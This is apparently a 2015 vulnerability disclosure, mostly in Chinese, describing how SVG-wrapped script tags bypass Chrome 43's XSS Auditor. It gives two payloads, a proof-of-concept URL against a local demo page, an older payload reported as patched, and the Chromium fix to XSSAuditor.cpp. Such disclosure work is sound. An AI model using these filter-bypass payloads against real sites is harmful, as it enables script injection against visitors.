Google Chrome Anti-XSS Filter Bypass

24 Jun 2015 - Tr3jer_CongRong

First

众所周知Chrome浏览器的Xss Filter是基于模糊匹配敏感关键字的方式进行拦截外部JavaScript脚本注入的，然而可以通过svg标签绕过Xss Filter.

Details

Affected Products:
Google Chrome 43.0.2357.124 m (letest stable version)

Discovery Date:
16-06-15

Payload:
<svg><script>/<1/>alert()</script></svg>
<svg><script>0<1>alert(document.domain)</script></svg>

POC

OSX & Chrome 43.0.2357.65

http://127.0.0.1/demo.php?xss=<svg><script>/<1/>alert(document.domain)</script></svg>

13年Gainover也分享过一个svg标签Bypass Chrome Xss Filter的Payload:<svg><script xlink:href=data:,alert(1)></script></svg>现已失效.

Patch

Index: Source/core/html/parser/XSSAuditor.cppt a/Source/core/html/parser/XSSAuditor.cpp b/Source/core/html/parser/XSSAuditor.cpp
index a1e1852201d23ac858c3b5065a2e26f52d128f4d..e73259145366c12c821a710fe83d3637529478ee 100644
--- a/Source/core/html/parser/XSSAuditor.cpp
+++ b/Source/core/html/parser/XSSAuditor.cpp
@@ -471,15 +471,18 @@ bool XSSAuditor::filterCharacterToken(const FilterTokenRequest& request)
if (m_state == PermittingAdjacentCharacterTokens)
     return false;
 
-    if ((m_state == SuppressingAdjacentCharacterTokens)
-        || (m_scriptTagFoundInRequest && isContainedInRequest(canonicalizedSnippetForJavaScript(request)))) {
+    if (m_state == FilteringTokens && m_scriptTagFoundInRequest) {
+        String snippet = canonicalizedSnippetForJavaScript(request);
+        if (isContainedInRequest(snippet))
+            m_state = SuppressingAdjacentCharacterTokens;
+        else if (!snippet.isEmpty())
+            m_state = PermittingAdjacentCharacterTokens;
+    }
+    if (m_state == SuppressingAdjacentCharacterTokens) {
     request.token.eraseCharacters();
     request.token.appendToCharacter(' '); // Technically, character tokens can't be empty.
-        m_state = SuppressingAdjacentCharacterTokens;
     return true;
 }
-
-    m_state = PermittingAdjacentCharacterTokens;
 return false;
 }

Other